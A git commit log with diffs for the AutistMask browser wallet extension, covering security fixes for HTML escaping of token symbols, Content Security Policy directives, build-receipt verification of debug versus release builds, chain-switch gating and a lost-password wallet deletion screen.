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clawbot
61e0cad31f fix: let a user who lost the password delete the wallet, and warn before they can (closes #312)
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Deleting a wallet was password-gated and importing its recovery phrase
again was refused as a duplicate xpub by findWalletByXpub(), so a user who
held the phrase but had forgotten the password could neither leave the
wallet nor come back to it. The only escape was clearing extension storage
through browser internals, which takes every other wallet with it, and
nothing in the product ever warned that this was possible.

DeleteWallet now offers "I have lost my password", a screen that destroys
the wallet after the user types its name back. No password: requiring one
to discard a secret protects nobody, because an attacker at the popup who
wants the wallet gone can uninstall the extension, so the only person such
a gate stops is the owner who forgot it. The typed name is a check that
the user knows which wallet they are on, so it is matched with letter
case, surrounding spaces and repeated inner spaces ignored. The last of
those is not a nicety: HTML collapses a doubled inner space when it
renders the name, so comparing raw would leave a wallet named "My  Wallet"
with a confirmation no typing could ever satisfy.

This is the deletion route rather than the re-import route, and only one
of the two. Re-import would have had to be built three times over (hd and
xprv by xpub, key by address), would make the user retype the recovery
phrase into a live popup in order to change a password, and reaches no end
state that delete-then-import does not already reach through the existing
import path and scanForAddresses().

Both routes share one finishDelete(), so the selection repair, the site
permission cleanup and the AUTISTMASK_ACTIVE_CHANGED broadcast cannot
diverge between them. The new screen is not in RESTORABLE_VIEWS, alongside
delete-wallet-confirm: a popup reopened by accident must not land on a
button that erases key material. It registers an onViewLeave() cleanup as
well, not because a wallet name is a secret but because a typed
confirmation left standing in a hidden view leaves a wallet one click from
deletion. The two delete screens are siblings, so nothing is pushed on the
way in and Back re-enters DeleteWallet through show(), which hands it back
its wallet selection.

AddWallet's password hint now states, per import mode, that the password
cannot be recovered or reset and names what the only backup is. The hint
line reserves the 48px all three wordings measure in the popup, so
switching tabs cannot move the password fields under the pointer and the
reserve costs no height the screen needs elsewhere.

The test drives the real view against a chrome.storage.local stub that
structured-clones on both set and get, and asserts against what comes back
out of storage rather than against the live state object, so it fails on
the deletion of saveState() and not only on an in-memory splice.
2026-08-20 13:01:34 +00:00
aea999db85 build: make verify-build take an explicit expectation and a build receipt (closes #309)
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verify-build read its expectation from AUTISTMASK_DEBUG in its own environment
and the Makefile invoked it bare, so an operator with that variable exported
who ran the release target got an INSECURE debug build — every wallet it
creates uses the publicly committed test phrase — verified green, exit 0. It
also had no provenance: a 26-byte file containing the right marker string
passed, the content script and manifest.json were never inspected, and an
entire hand-written dist/ passed.

--expect release|debug and --receipt PATH are now both required, with no
defaults and nothing read from the environment. build.js records every file it
emits with its sha256 and writes the receipt; the Makefile mktemps it outside
the repo per invocation with a trap, and build.js refuses a receipt path inside
dist/. Verification runs three passes in a load-bearing order — receipt shape,
full dist/ walk, then per-file bytes — so an unwalkable subtree cannot make
files look absent. dist/constants-bundles.txt, which was an unsigned trust root
living inside the tree it vouched for, is gone.

What this proves is bounded and stated as such: dist/ is byte-for-byte the
output of the build.js run that just finished, within one make build
invocation. It proves nothing about the honesty of the source tree or build.js,
and nothing to anyone handed a dist/ from elsewhere — that is signing, #310.
The standalone make verify-build target is removed because its only input would
be dist/ itself, i.e. the artifact vouching for itself.

Verified: make check green, test-verify-build 39 cases (was 18), test-e2e 55/55
and test-e2e-firefox 8/8 with make build running uncached inside both images.
All four original bypasses now exit 1. Mutations: digests disabled fails
exactly 4 cases, dropping the dist/ walk fails exactly 8, restoring the ambient
fallback fails exactly 1.
2026-08-20 14:24:55 +02:00
c8c2af0c6b harden: escape every interpolation into popup innerHTML, and add default-src to both manifests (closes #307)
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A hostile ERC-20's symbol() reached an innerHTML string unescaped, and neither
manifest declared default-src, so an attacker deploying a token with 1,000+
holders and airdropping one unit could render a full-viewport cross-origin
iframe over the wallet's own UI, on screens where the user types their
password.

escapeHtml is now a pure string replace over & < > " ' — the old version
round-tripped through textContent, which escapes neither quote, while already
being used inside data-copy="...". All 19 files in src/popup/views/ were
audited: beyond the reported symbol site, the explorer-supplied directionLabel
in all three transaction lists, wallet.name, addr.ensName, the blockie data:
URIs and two ad-hoc quote-only escapes were also unescaped. Explorer URLs now
go through one helper that percent-encodes the path segment.

Both manifests add default-src 'self', frame-src 'none', form-action 'none' and
base-uri 'none'. Three loosenings are pinned in tests/manifest.test.js and
justified in README.md: style-src 'unsafe-inline' (39 static style attributes;
Firefox implements neither style-src-attr nor 'unsafe-hashes'), img-src data:
(blockies), connect-src https: http: (user-configurable RPC).

Note frame-src 'none' blocks a frame loading, not the element existing, so the
zero-iframe assertion is a claim about the escaping alone; the test asserts the
element count and the literal rendered text separately, taking the count before
any click an overlay could intercept.

Verified: make check 39 suites / 811 tests, test-e2e 55/55 including the
WebAssembly-under-CSP assertion, test-e2e-firefox 8/8, zero CSP violations
asserted rather than merely unobserved. Reverting only balanceLine's
interpolation reproduces the attack as 2 iframes on the address screen.
2026-08-20 13:47:28 +02:00
59f68b8859 fix: answer eth_chainId and net_version from loaded state (closes #317)
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Both methods answered from the module-level state singleton, which the MV3
worker never populates, so a cold worker reported mainnet 0x1 to a page whose
user was on Sepolia.

They now answer from getState(), the per-call detached storage read the other
read handlers already use. An earlier revision of this fix used loadState()
instead and was rejected in review: it replaces the whole singleton, and these
methods are page-callable with no connection gate (inpage.js sends eth_chainId
on every page load), so a load landing inside backgroundRefresh()'s network
round trip detached the address objects being mutated in place — persisting
pre-refresh balances while still stamping lastBalanceRefresh, letting a polling
page suppress background refreshes indefinitely.

The test stub now structured-clones on get and set, as chrome.storage.local
does. The aliasing stub it replaces was independently measured to hide this
defect class entirely: with the aliasing get restored and the defective handler
in place, the suite passes 794/794.

Verified failing first three ways: a plain singleton read fails the three
cold-worker cases; the rejected loadState() revision fails only the new
mid-refresh case ("1.5" expected, "0" received); moving saveState() ahead of
refreshBalances() fails that case and only it.
2026-08-20 13:11:48 +02:00
50078b3566 fix: resolve approval-screen token decimals, and refuse to format an unknown scale (closes #306)
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decodeCalldata consulted only the 512-entry bundled list and defaulted to 18
decimals, so a transfer of 5,000 units of a 6-decimal token rendered
"Amount 0.0000" and the user confirmed a drain reading zero. The same
understatement applied to approve, where an unbounded allowance also rendered
0.0000.

Decimals now resolve from the bundled list, then trackedTokens, then the
address's explorer-reported entry, with uint8 validation and a refusal when
sources for one contract disagree. When no source knows the scale, no
formatUnits call is reached at all: the line renders raw base units with an
explicit "decimals unknown" warning, and the same string reaches
pendingTxDetails.amount so the status screens carry no formatted figure either.

Verified failing first two independent ways: restoring the old
`token ? token.decimals : 18` fails 6 of 15 new tests with the unknown case
reporting "0.0000"; making the resolver return 18 rather than null on the
unknown path fails a different 6, spanning resolver and render levels.
2026-08-20 12:57:38 +02:00
6350aad591 fix: gate the chain switch and remember endpoints per network (closes #308)
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wallet_switchEthereumChain was answered for any origin at all, with no
connection check and no prompt, so any page could move the active chain and
clear the [TESTNET] banner under a user who believed they were on Sepolia. It
now takes the same allowedSites check the signing methods take and returns 4100
for an unconnected origin.

The handler also awaits loadState() before it reads or moves the network. The
MV3 worker populates nothing at module scope, so a worker revived by the page's
own message held DEFAULT_STATE: the same-chain check compared against the wrong
network, and the save wrote empty wallets, empty allowedSites and default
endpoints over the user's stored profile, destroying every wallet in the
extension. Also fixes #316.

Endpoints are now remembered per network in a persisted networkEndpoints map,
so a user running a local or private node no longer loses that url permanently
to a public endpoint on every switch. A stored map must be an actual object; a
primitive previously survived the load and made every switch fall back to the
public default with no self-healing.

Verified failing first: dropping only the added loadState() fails exactly the
two cold-worker cases; reverting only the type guard fails exactly the string
and number cases. Reverting both source files to next gives 12 failed / 751
passed.
2026-08-20 12:42:01 +02:00
38 changed files with 3348 additions and 452 deletions

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@@ -1,4 +1,4 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,10 +47,27 @@ docker:
hooks:
@script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
build:
@echo "Building extension..."
@yarn run build 2>&1
@script/verify-build
@set -eu; \
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -58,15 +75,14 @@ build:
# distribute the artifacts this produces.
build-debug:
@echo "Building extension (DEBUG)..."
@AUTISTMASK_DEBUG=1 yarn run build 2>&1
@AUTISTMASK_DEBUG=1 script/verify-build
@set -eu; \
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
# the end of build and build-debug; separate target for re-running it alone.
verify-build:
@script/verify-build
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released.

209
README.md
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@@ -48,28 +48,57 @@ Load the extension:
### Debug Builds
`make build` always produces a release build: the build-time `DEBUG` constant is
`false`, so wallet creation uses real entropy and the red banner is off. To
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
`make build` never hands back a debug build. `make build-debug` is the only
target that produces one:
```bash
make build-debug # or: AUTISTMASK_DEBUG=1 make build
make build-debug
```
Only the exact value `1` enables it; any other value (including unset, empty, or
`true`) yields a release build, so a typo cannot accidentally ship the debug
behavior. The build prints which mode it used. See the
`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
`1` does; any other value (including unset, empty, or `true`) yields a release
build, so a typo cannot accidentally ship the debug behavior. But it is the
compiler's input, not the verifier's: if it happens to be exported in the shell
that runs `make build`, that target compiles a debug bundle and then **fails**,
because it tells `script/verify-build` in so many words that it was supposed to
produce a release build. It used to be that the verifier read the same variable
out of its own environment, agreed with itself, and reported a debug artifact as
verified. The build prints which mode it used. See the
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
distribute a debug build** — every wallet it creates gets the same publicly
known test recovery phrase.
Both builds end by running `script/verify-build`, which reads the compiled
Both targets end by running `script/verify-build`, which reads the compiled
`DEBUG` state back out of the emitted bundles and fails the build if it is not
the one that was asked for. The test suite cannot check this: it loads
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback
value. The assertion is on the artifacts because that is where the property
lives.
### Build Receipts
`build.js` records every file it emits — path, sha256, and whether the file is
one of the bundles containing `src/shared/constants.js` — into a build receipt,
and `script/verify-build` checks `dist/` against that receipt: every recorded
file present with exactly the recorded bytes, every audited bundle carrying the
requested `DEBUG` marker, and nothing under `dist/` that the build did not
write. The `Makefile` creates the receipt path with `mktemp` per invocation,
outside the repo, and deletes it afterwards.
That is what ties the check to a build rather than to a directory. What it
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
output of the `build.js` run that just finished, with nothing added, removed or
altered in between. It establishes nothing about whether the source tree or
`build.js` were honest, and it offers nothing to someone handed a `dist/` from
elsewhere — without the receipt from its own build there is no input to the
check. Verifiable provenance for a third party is signing, which this is not.
There is deliberately no target that re-verifies an existing `dist/` on its own.
The list of files to check has to come from the build that produced them; read
back out of `dist/`, it is the artifact vouching for itself, which is how a
26-byte file containing only the marker string, a hostile content script, and an
entire hand-written `dist/` all used to verify green.
## Entrypoints
This repository adheres to the
@@ -114,20 +143,26 @@ provide:
serves. Run deliberately, never as part of a build: the output is committed
and there is no runtime fetch, so the shipped list is as fresh as the last
vendoring run that was released
- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
`dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing if it
cannot determine a bundle's state. Not part of `make check`, which does not
depend on build artifacts existing.
- `script/verify-build --expect release|debug --receipt PATH` — assert that
`dist/` is exactly what the build that just ran emitted, and that the compiled
`DEBUG` state of the bundles in it is the one that was asked for. Both
arguments are required and neither has a default: the expected mode is stated
by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list
comes from the build's receipt rather than from `dist/` (see
[Build Receipts](#build-receipts)). Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing whenever
it cannot determine something. Not part of `make check`, which does not depend
on build artifacts existing.
- `script/test-verify-build` — exercise every failure mode of
`script/verify-build` against a fixture tree in a temp dir, asserting the exit
status and the message of each. Part of `make check`; it reads no build
artifacts and writes nothing under `dist/`. The cases that depend on file
permissions cannot mean anything for a process that is not subject to them, so
the harness proves its runner against a mode-000 file before counting them,
dropping to an unprivileged user when run as root; if it cannot, it skips
those cases and says so in a banner rather than passing them.
status and the message of each, and read the `make build` and
`make build-debug` recipes back out of `make -n` to check that they pass the
mode as an argument on a scrubbed environment. Part of `make check`; it reads
no build artifacts and writes nothing under `dist/`. The cases that depend on
file permissions cannot mean anything for a process that is not subject to
them, so the harness proves its runner against a mode-000 file before counting
them, dropping to an unprivileged user when run as root; if it cannot, it
skips those cases and says so in a banner rather than passing them.
- `script/docker` — build the Docker image tagged via `script/projectname`
- `script/cibuild` — CI entrypoint: plain `docker build .`
- `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,9 +175,10 @@ The Makefile shims to those. It also carries a few targets that have no
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
silently rewritten. Use `make setup` for a fresh clone.
- `make hooks` — shims to `script/install-precommit`
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
[Debug Builds](#debug-builds))
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
then verify the result against the build's receipt as a release build
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
debug build (see [Debug Builds](#debug-builds))
- `make clean` — remove `dist/`
- `make dev` — build in watch mode
@@ -769,7 +805,9 @@ for the views listed in `RESTORABLE_VIEWS` (`src/popup/restorableViews.js`).
Every other screen falls back to Home. The screens that display a secret —
ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list,
so the popup can never reopen onto one of them with no password prompt in front
of it.
of it. So are the two that destroy one, DeleteWallet and
DeleteWalletLostPassword: a popup reopened by accident must not land on a screen
whose button erases key material.
A reopened popup renders the wallet list and the one screen it restores onto,
and nothing else, so every screen on the stack behind that one is still the
@@ -792,7 +830,10 @@ exit from that screen rather than only on its "Back" button, so nothing secret
survives in a hidden view once the user has navigated away by any route. That
covers the revealed private key and recovery phrase, the recovery phrase,
private key or extended private key entered on AddWallet, and the password typed
on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign. DeleteWalletLostPassword
registers one as well, for the neighbouring reason rather than that one: a
wallet name is not a secret, but a typed confirmation left standing in a hidden
view would leave a wallet one click from deletion.
#### Welcome (`welcome`)
@@ -853,7 +894,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
- **From xprv**: instruction text and a masked extended private key
input
- Password + confirm password inputs, with a hint line whose wording depends
on the selected tab
on the selected tab. Every wording says that the password cannot be
recovered or reset and names what the only backup of the wallet is — the
recovery phrase, the private key or the extended private key, according to
the tab. This is the only warning the user gets before the wallet exists;
without it, the lost-password route on DeleteWallet is the first they
would hear of it. The hint line reserves its height, so switching tabs
cannot move the password fields under the pointer.
- "Import" button
- **Transitions**:
- "Import" with a valid entry and a matching password of at least 12
@@ -1208,6 +1255,7 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
- Error line
- Password input
- "Confirm Delete" button
- An underlined "I have lost my password" control
- **Transitions**:
- "Confirm Delete" (correct password, other wallets remain) → deletes the
wallet and its site permissions, then → **Settings** with a "Wallet
@@ -1217,10 +1265,54 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
- Either way, the active address moves only if it belonged to the deleted
wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does
(`src/shared/walletDelete.js`)
- "Confirm Delete" (wrong password) → "Wrong password." on the error line,
nothing deleted
- "Confirm Delete" (wrong password) → "That password is incorrect. Please
try again." on the error line, nothing deleted
- "I have lost my password" → **DeleteWalletLostPassword**
- "Back" → previous screen (Settings)
#### DeleteWalletLostPassword (`delete-wallet-lost-password`)
- **When**: User tapped "I have lost my password" on DeleteWallet.
- **Why it exists**: without it, a user who has forgotten the password but still
holds the recovery phrase has no route back into the product at all. Deletion
was password-gated, and importing the phrase again is refused as a duplicate
xpub by `findWalletByXpub()` while the wallet is still stored, so the only
escape was clearing extension storage through browser internals — which takes
every other wallet with it.
- **Elements**:
- "Back" button, "Delete Wallet Without a Password" heading
- A statement that the password cannot be recovered or reset, so the wallet
cannot be unlocked again, and that no password is needed to delete it
- What deletion does and does not do: it erases the copy of the key stored
on this device; nothing on chain changes and no money is moved
- The route back — adding the wallet again with the recovery phrase and a
new password — and, in bold, that without that phrase written down the
deletion loses everything the wallet holds, forever
- That the other wallets are not touched
- The wallet's name, and a text input asking for it to be typed back
- Error line
- "Delete This Wallet Forever" button
- **Transitions**:
- "Delete This Wallet Forever" (name typed correctly) → the same two
outcomes as "Confirm Delete" above, through the same `finishDelete()`, so
the selection repair, permission cleanup and `AUTISTMASK_ACTIVE_CHANGED`
broadcast are identical on both routes
- "Delete This Wallet Forever" (name does not match) → "That is not the name
of this wallet. Type &lt;name&gt; to confirm." on the error line, nothing
deleted
- "Back" → **DeleteWallet**, re-entered through its `show()` so the wallet
selection comes back with it. The two delete screens are siblings rather
than parent and child: nothing is pushed on the way here, so both have
Settings as their Back target.
- **Deliberately not password-gated.** A password in front of _discarding_ a
secret protects nobody: an attacker at the popup who wants the wallet gone can
uninstall the extension, so the only person such a gate stops is the owner who
forgot it. The typed name is a check that the user knows which wallet they are
on, not a secret, so it is matched with surrounding spaces and letter case
ignored.
- Not in `RESTORABLE_VIEWS`, alongside `delete-wallet-confirm`: a popup reopened
by accident must not land on a screen whose button erases key material.
#### DeleteAddress (`delete-address-confirm`)
- **When**: User tapped the `[x]` next to an address on Home. Offered only on HD
@@ -1237,13 +1329,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
refused: "+" derives the next unused index (`nextIndex` is a high-water
mark), and re-importing the wallet's key material is rejected as a
duplicate by `findWalletByXpub` while the wallet is still present. What
works is deleting the whole wallet in Settings — password-gated, and it
destroys the stored secret — then importing again, whereupon
`scanForAddresses()` rediscovers the address **only if it has on-chain
activity**. An address that was never used is not found by that scan. The
text is written by `recoveryPathText()` rather than sitting in
`index.html`, so it can name the wallet's own kind of key material: an
xprv wallet has no recovery phrase to re-import.
works is deleting the whole wallet in Settings — which destroys the stored
secret — then importing again, whereupon `scanForAddresses()` rediscovers
the address **only if it has on-chain activity**. An address that was
never used is not found by that scan. The text is written by
`recoveryPathText()` rather than sitting in `index.html`, so it can name
the wallet's own kind of key material: an xprv wallet has no recovery
phrase to re-import.
- A warning when the address holds anything, ETH or any tracked ERC-20,
followed by the holdings themselves via `balanceLinesForAddress()` and the
USD total via `formatAddressTotal()` (see
@@ -1464,10 +1556,44 @@ policy, but as of now there are none.
### Content Security Policy
Both manifests declare the same policy for extension pages
`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
Both manifests declare the same policy for extension pages, as an object under
`content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
a bare string in `manifest/firefox.json` (MV2).
a bare string in `manifest/firefox.json` (MV2):
```
default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
style-src 'self' 'unsafe-inline'; img-src 'self' data:;
connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
base-uri 'none'
```
`default-src 'self'` is the floor. Without it the policy governed script and
plugins only, and everything else — frames above all — was unrestricted, which
is what let an unescaped token symbol paint a cross-origin iframe over the
wallet's own UI. Escaping is the primary fix for that (see
`src/shared/html.js`); this is the second line, so an escape that does slip
cannot reach the network.
Four directives are looser than `'self'`, each for a reason that does not
generalise:
- `style-src 'unsafe-inline'``src/popup/index.html` and the view helpers set
presentation through `style="..."` attributes, which CSP blocks without this.
Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
Firefox has never implemented `style-src-attr`, so there is no narrower
spelling that works on both targets. It permits inline **style**; script stays
under `script-src`, which does not allow `'unsafe-inline'`.
- `img-src data:` — identicons are generated in the popup by
`ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
node over `http://127.0.0.1` is a supported configuration, which the Firefox
end-to-end suite depends on. The wallet's outbound traffic is constrained by
what it is written to contact (see External Communication), not by this
directive.
- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
than inherited. `form-action` and `base-uri` do not fall back to `default-src`
at all, so they would have stayed unrestricted; `frame-src 'none'` is what
refuses the framed-overlay attack outright.
`'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
build and a `wasm2js` translation of it in one file, tries WASM first, and
@@ -1485,9 +1611,10 @@ strings, not inline script, not remote script. Using it requires already
executing script in an extension page, which is complete compromise on its own.
`'unsafe-eval'` is a different proposition and is not granted.
The grant is pinned in both directions. `tests/manifest.test.js` asserts the
exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
20x regression on the key derivation) and adding anything beyond it both fail
The policy is pinned in both directions. `tests/manifest.test.js` asserts the
exact directive set and the exact token set of each directive in both manifests,
so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key
derivation), dropping `default-src`, and adding anything anywhere all fail
`make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
under the real manifest.

112
TODO.md
View File

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
milestone is in flight on `next`; its `next` -> `main` PR is
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
compiled off.
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
be exactly what that build emitted with `DEBUG` compiled off.
The backlog lives on the
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,6 +44,114 @@ but the review is broader than any of them.
# Completed Steps
- 2026-08-20: A forgotten password no longer wedges the wallet
([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
was password-gated and importing its recovery phrase again was refused as a
duplicate xpub, so a user who had the phrase but not the password could
neither leave nor come back: the only way out was clearing extension storage
through browser internals, which takes every other wallet with it.
DeleteWallet now offers "I have lost my password", a screen that destroys the
wallet after the user types its name back — no password, because requiring one
to _discard_ a secret protects nobody. An attacker at the popup who wants the
wallet gone can uninstall the extension; the only person such a gate stopped
was the owner who forgot it. That was chosen over allowing a duplicate xpub to
re-encrypt in place: re-import would have had to be built three times over
(`hd` and `xprv` by xpub, `key` by address), would make the user retype the
recovery phrase into a live popup to change a password, and reaches no state
that delete-then-import does not already reach through `scanForAddresses()`.
Both routes share one `finishDelete()`, so the selection repair, the
site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS`
a popup reopened by accident must not land on a button that erases key
material. AddWallet's password hint now says, per import mode, that the
password cannot be recovered or reset and what the only backup is; the hint
line reserves its height so switching tabs cannot move the password fields.
The test drives the real view against a `chrome.storage.local` stub that
structured-clones on both `set` and `get` and asserts against the read-back,
so it fails on the deletion of `saveState()` and not only on an in-memory
splice.
- 2026-08-20: `make build` can no longer hand back a debug build, and
`script/verify-build` can no longer be satisfied by bytes the build did not
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
environment, so an operator with that exported who ran the release target got
a debug bundle — every wallet it creates carrying the publicly committed test
phrase — certified green at exit 0. The expected mode is now the required
argument `--expect release|debug`, with no default and nothing read from the
environment, and the `Makefile` scrubs the flag from the verifier while
deliberately leaving it reaching the compiler, so that shell fails the build
loudly instead of quietly getting something other than what it asked for.
Provenance was the other half: the check was a marker grep over a file list
read back out of `dist/`, so a 26-byte file containing only
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
script that runs on every page were never read at all, and an entire
hand-written `dist/` passed. `build.js` now records every file it emits, with
its sha256 and whether it is one of the bundles containing `constants.js`,
into a receipt whose path the `Makefile` makes fresh per invocation outside
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
`dist/` is cleared before a build so it holds only what that build wrote. The
standalone `make verify-build` target went with it: re-verifying a `dist/`
from the `dist/` itself is the thing that was broken. What this establishes is
narrow and stated as such in README.md — `dist/` is byte for byte the output
of the `build.js` run that just finished — and it is not signing, which is
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
`script/test-verify-build` grew from 18 cases to 39, including one per
demonstrated bypass and the `make -n` read-back that proves the recipes pass
the mode as an argument.
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
symbol is whatever the contract's `symbol()` returns, the block explorer
passes it through unfiltered, and `balanceLine()` interpolated it into an
`innerHTML` string — so a token with the 1,000 holders the spam filter asks
for, airdropped to the victim, could paint a full-viewport cross-origin iframe
over the wallet's own UI, on the screens where the user types their password.
`escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
`<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
element's `textContent`, which does not escape quotes, and it was already
being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
string across `src/popup/views/` was audited, not just the reported one — the
transaction lists' direction label, the wallet name and ENS name in the Home
list, the `href` in the explorer link, and the confirmation screen's warning
line were all unescaped as well. Both manifests now declare
`default-src 'self'` with `frame-src 'none'`; the four directives that had to
stay looser than `'self'` are named and justified in the Content Security
Policy section of README.md, and `tests/manifest.test.js` pins the whole set
exactly. A display cap of 12 characters bounds the symbol, matching the bound
`lookupTokenInfo()` already applied on the contract-read path. Not repurposed
for any of this: `isSpoofedSymbol()`, which answers a different question and
would have been the wrong control.
- 2026-08-20: A page asking which chain the wallet is on is told the chain the
user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
`eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
the module-level `state` singleton that nothing populates at module scope, so
a service worker revived by the page's own message answered out of
`DEFAULT_STATE` and reported mainnet `0x1`/`1` to a user on Sepolia — a dApp
building its interaction for the wrong chain. Both now answer from
`getState()`, the per-call detached storage read the other read handlers use,
rather than from the singleton: these two are reachable by any page on every
provider init, and mutating the shared singleton on that path would detach the
wallet objects an in-flight `backgroundRefresh()` is mutating. The read side
of the background was audited with it: the remaining singleton reads are the
chain switch, the transaction verification path and `backgroundRefresh`, which
each already load, and everything else answers from storage per call through
`getState()`. One stale read is left named but unfixed, outside this issue's
scope: `handleSendTransaction` builds its provider with no network name, so
`getProvider()` falls back to the same unloaded singleton for ethers' static
network hint.
- 2026-08-20: The dApp approval screen no longer shows a token transfer it
cannot scale as `0.0000`
([#306](https://git.eeqj.de/sneak/AutistMask/issues/306)). `decodeCalldata`
read decimals from the 512-entry bundled token list alone and fell back to 18,
so every token outside it — most of them, including anything the user added by
contract address — was displayed at the wrong scale: a `transfer` of 5,000
units of a 6-decimal token read as `0.0000`, and a user who reads zero
confirms the drain. The new `src/shared/approvalAmount.js` resolves the scale
from the bundled list, then `state.trackedTokens`, then the decimals the block
explorer already reported in `addr.tokenBalances`, and refuses one the
explorer's own entries disagree about. Where no source knows it, the amount
line is not formatted at all: it shows the base-unit integer and states that
the scale is unknown, for `approve` as well as `transfer`. An unbounded
allowance still reads `Unlimited`, which needs no scale.
- 2026-08-20: A web page can no longer switch the wallet's chain, and switching
no longer destroys the user's endpoints
([#308](https://git.eeqj.de/sneak/AutistMask/issues/308)).

175
build.js
View File

@@ -1,5 +1,6 @@
const fs = require("fs");
const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process");
const esbuild = require("esbuild");
@@ -8,12 +9,29 @@ const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox");
const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts, and the
// manifest naming every emitted bundle that ends up containing it. The
// manifest is derived from esbuild's own dependency graph rather than from a
// hardcoded list, so it tracks the bundle layout instead of rotting with it.
// The module whose compiled DEBUG state script/verify-build asserts. Which
// bundles contain it is derived from esbuild's own dependency graph rather
// than from a hardcoded list, so it tracks the bundle layout instead of
// rotting with it.
